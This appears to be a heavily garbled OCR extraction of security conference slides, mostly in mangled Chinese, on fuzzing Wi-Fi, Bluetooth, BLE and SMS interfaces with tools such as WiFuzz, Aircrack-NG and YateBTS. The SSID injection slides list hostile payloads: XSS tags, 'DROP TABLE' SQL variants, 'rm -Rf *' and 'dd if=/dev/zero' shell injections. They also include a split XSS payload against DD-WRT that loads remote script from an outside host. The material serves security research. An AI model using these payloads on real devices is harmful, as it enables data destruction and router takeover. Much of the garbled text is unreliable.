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RAETEIAYEIE: POF SCRY; BRXHF or HEZERA?

BREARNFPREER: Stack Overflow; Underflow; Out Bound Read ..
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T EMEAN
—#ERIHA 2000+ NEBIEFEEE, BT AT EREER.

[E R IE 5 TR A1z A E| DHCP-E4/14; NFC-NDEF; Bluetooth-Name

Channels Length Limitation
Wi-Fi SSID 32
BlueTooth 248

NFC > 2000

SMS Message Body 140
QR Code Content > 2000
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Aircrack-NG 1.0 DoS ¥

N
fle Edt YVew Go Capture Andlyze Statatics
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No

Frame 1: 151 bytes on wire
IEEE 902.11 Data, Flags:
cal-tirk Control

Authentication

arcrackng-1.0/s : bash




AirCrack-NG 1.0 — EAPoL i

EAPoL — IEEE802.1X M %&%um [IAUETMY. Aircrack-NGfEfZ1T EAPOL A LE SRS BATA B
K1EH 256 bytes. B ARSEIIISEHE.

DR EKEMFRRE L 256 bytes, 1E5LPr payloads FARAEHE (Invalid memory read)
or 21X 3LFr payloads #1256 bytes (Heap corruption)

Enterprise Edge/

(SIS [SP Backbone

Auythenhcatos
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Data Exchange



ARG

m MAC frame format

2 > 2

Frame | Duration/ | s ;4ress 1| Address 2| Address 3| Seauence

Address 4
Contro 1D Contro Karess

-
-

MAC Header

m Frame Control defines upper layer (frame body)

80 B1B2 B384 B7 B8 B89 810 B11 812 813 814 815

Protocol

To | From | More Retry Pwr More
Version

Subtype DS DS Frag Mgt Data

Order

PP P PP P t— P +—> 4 —»

1 1 1 1 1 1 1




SSID Injection I

ﬁ%?ﬁéﬂ%ﬂ%m”” OS BEf”site survey“TheE. AP RAWMBEB LZEIES. BT
B EIE R BT E R e T

ANBETFH airbase-ng 5{ mdk3 ETEGIETHEERR SSID XL iBEiH
1T Fuzzing i

script-alert(l script

). DROP TABLE

") AND DROP TABLE *
'. DROP TABLE
DROP TABLE *

' AND DROP TABLE *

') AND DROP TABLE *
1 rm -Rf *
12 "rm -Rf *°
13 ${rm -Rf

cat /dev/urandom
15 “cat /dev/urandom
16 ;dd if-/dev/zero of-rick.dat
17 “dd if./dev/zero of-rick.dat’




SSID Injection Z 4

T N BERNLEZIEE WIFI Pineapple (KEE) 2.6
2SR EZR 4 DD-WRT “23 SP1-RC4”, “23 SP2” and “24”

SSID {X 3z #F 32 bytes, BA[IBIEZPSSID HEMN AR XTI B EEREEMN

DD-WRT CONTROL PAMEL

onerror=a="§$.getScr">
onerror=b="ipt (’ht">

onerror=c="tp://mu.">
onerror=d="gl’)">
onerror=eval (a+b+c+d)>




WIFuzz I

i8I Python HJ Scapy EEAE R EX WIFI 802. 113 #EE

M5 WIFI MR pS—M E& Assoc; Auth; Deauth; EAPoL ..

http://code.google.com/p/wifuzz/

Wed Sep 28 10:39:19 2011 {WIFI} [RO0004] Sending packets 301-400
Wed Sep 28 10:39:42 2011 {WIFI} [RO0004] recv() imeout exceeded! (packet #325)
Wed Sep 28 10:39:42 2011 {WIFI} [R0O0004] Checking if the AP is still up..

Wed Sep 28 10:39:42 2011 {WIFI} Waiting for a beacon from SSID=[TestMe)
Wed Sep 28 10:40:42 2011 {WIF1} [1) The AP does not respond anymore. Latest test-case has been written to

"devishm/wiluzz-eK97nb,pcap’




}

AN

Tt %k Fuzzing - 1

=2\




Bluetooth 101
Bluetooth 2.0: 2.4ghz; 79 $fiE; 1Mhz %, BHEIMT 2z A TFEH%
Bluetooth 4.0 (fRIh#E): 2.4ghz; 40 3iE; 2Mhz F5; |OT IR EFRIFREC 2 —

SRS NI BlueBug; BlueSnarf; BlueSmack; CarWhisperer ...




Bluetooth ZE#3 2.0

€3 Bluetooth’ €3 Bluetooth

SMART
(classic or BR/EDR) (single mode or BLE)

SPP GAP GATT

RFCOMM SMP ATT

L2CAP L2CAP

Link Manager Link Layer

GREDRPHY / «)) (¢ LE PHY




L 2CAP X5

Length DCID Payload
(16 bits) (16 bits) (0-65535 bytes)

Ping of Death 12ping —> 65535 payload

BSS (Bluetooth Stack Smasher) L2CAP Fuzzer
A 5 Debug FH| B B 2B HIE T B R

L2CAP R/ ECITIAUL, (X7 BFrg & 7 H0R 5B Al






12 Matches found for FCC ID C3IX13%0

I_ZCAP I&'E' % K E El\] F‘Z |:Iﬁl:| ) *H |E_] El\] /_||E|; J:|L View Anmhmunt lx’).n'bll]"v?’: :m: fg?muamr

B FCC ID #A L 2t F 223 BM2042

D Label/Location Infol
hlc'r‘c Photos
RF Exposure Info

BM2042 #&5RiE T 1 ZFv2.0 LA &2 HID profile

o S
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X% FIRFBRIAB XN B2 0000 3% 1234 (FF A L EH )

KRS R A 248 ERBENRFER (Windows Mobile 6)

W P52 HTMLS - JS XSS Injection |HIZZEHHE ..
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Bluetooth ZE#43 4.0

€3 Bluetooth £3 Bluetooth

SMART
(classic or BR/EDR) (single mode or BLE)

MP

ATT
AT

RFCOMM | S

L2CAP L2CAP

Link Manager Link Layer

BR/EDR PHY -)) ((. LEPHY




BTLE 2018247 - 8

LightBlue: &£ & LE #iEZE 24

Nordic NRF51822: T£4AE HF X1 & B ERIRFER (Windows FJ FH)




BTLE ##E2 47 - EHeekTH

LightBlue XJ#T7f1 Recon EZ&K{Z 2 (Just Works 000000)

IR¥R APP FIERENTE 2 BIRNEIER B (FF&K)

W ZF 4.0 dongle & Gattool X #IRE L or B

attr handle:
attr handle:
attr handle:
attr handle:
attr handle:
attr handle:
attr handle:
attr handle:
attr handle:

handle: 0x0028,

0x0001,
Ox000c,
o0x0010,
Ox0023,
Ox0026,
0x0029,
oOx002d,
Ox0032,
Ox0045,

Connection successful

(LE])>
end
end
end
end
end
end
end
end
end
(LE])>

primary

grp handle:
grp handle:
grp handle:
grp handle:
grp handle:
grp handle:
grp handle:
grp handle:
grp handle:

Ox000b
oxo00of
ox0022
Ox0025
Ox0028
Ox002c
Ox0031
Ox0044
Oxfrff

wuld:
wuld:
wuld:
uuld:
uuld:
wuld:
wuld:
wuld:
uuld:

char-desc Ox0028 Ox0028

ey

00001800-

00001801

0000180a-

00001803
00001802

00001804-

oooo180f

00001 fa0-

00001 fe0

uuld: 00002206-0000-1000-8000-0080579b34fD

00
00
00
0o
00
00
00
00
00
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Fuzzing £ 8E % ’

1&3T Ubertooth 3R APP M 4E 81> B SRR B “"J/

-

B Python BIZR Fuzzing E e 22 B E1#E bytes by bytes

Opcode: Write Request (0x12)
Handle: 0x0025 (unknown)

value: 934 =‘ﬁ ad7299ec1481791303d7¢c90d549352398

Opcode: Wrlte Request (0x12)
Handle: 0x002S

value: 934ad7299ec14817913o3d7c90d549352398




Ttz Fuzzing - SMS



BTS EIHfFR
ARILEE vs GSM BIZ R
GSM 1Y Fuzzing for Crash - JUiX B ¥Rk %

MOBILE PWN20OWN 2015 - B Samsung S6 & 5




BTSHE uhiEiE
YateBTS it GSM Eyh#E 2 TSN %2 3 N AR B 8

BladeRF x40 + GSM X% + 28 FH + SIM & —> FH M NKFEE
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SMS %&f5
GSM %51 %4 31% Users —> SMSC —> Users
GSM 22515 Type O A HTXFALH P ITEN

E{E0 AText XAETF PDU il #iEE TR (WAP, MMS)




SMS Fuzzing
PDURET &% - https://github.com/pod2g/sendrawpdu
PDU Encode #1 Decode - http://www.nobbi.com/pduspy.html

SMS R http://www.3gpp.org/ftp/Specs/html-info/23040.htm




SMS Fuzzing
F 1l GSM baseband & B Xt SMS #4T packet inspection

PDU B EIES 2L Nokia 3310: 6210 R FHN AL RE B

Android (RIL) F41AIE Y “ adb logeat -b radio “ #E{TSER iz

GSM BEWEX AFR TESLIZE FIET (packet inspection)
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